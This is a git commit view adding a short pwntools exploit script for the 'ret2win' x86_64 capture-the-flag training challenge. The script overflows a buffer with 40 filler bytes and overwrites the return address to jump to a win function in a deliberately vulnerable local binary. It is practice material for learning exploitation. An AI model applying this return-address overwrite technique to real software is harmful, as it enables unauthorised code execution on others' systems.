summaryrefslogtreecommitdiff
path: root/x86_64/ret2win/exploit.py
diff options
context:
space:
mode:
authorBrett Weiland <brett_weiland@bpcspace.com>2020-12-14 18:27:06 -0600
committerBrett Weiland <brett_weiland@bpcspace.com>2020-12-14 18:27:06 -0600
commitae586f332c3fa2919fca99b0ff8acf1e339b0061 (patch)
tree1a91dbbf26977db4492d9f752231c5bc3a358506 /x86_64/ret2win/exploit.py
parentc9f44615e78db425febfdc3b601b90d2a3df7456 (diff)
new file: x86_64/ret2win/.gdb_history
new file: x86_64/ret2win/core new file: x86_64/ret2win/exploit.py new file: x86_64/split/.gdb_history new file: x86_64/split/core new file: x86_64/split/core.split.25050 new file: x86_64/split/exploit.py new file: x86_64/split/fuckyou new file: x86_64/split/xaa
Diffstat (limited to 'x86_64/ret2win/exploit.py')
-rwxr-xr-xx86_64/ret2win/exploit.py13
1 files changed, 13 insertions, 0 deletions
diff --git a/x86_64/ret2win/exploit.py b/x86_64/ret2win/exploit.py
new file mode 100755
index 0000000..d5506b2
--- /dev/null
+++ b/x86_64/ret2win/exploit.py
@@ -0,0 +1,13 @@
+#!/usr/bin/env python3
+from pwn import *
+
+prog = process('./ret2win')
+payload = b''
+for c in range(40):
+ payload += b'a'
+
+payload += p64(0x0000000000400756)
+payload += b"\n"
+prog.sendline(payload)
+sleep(1)
+print(str(prog.recv(), 'UTF-8'))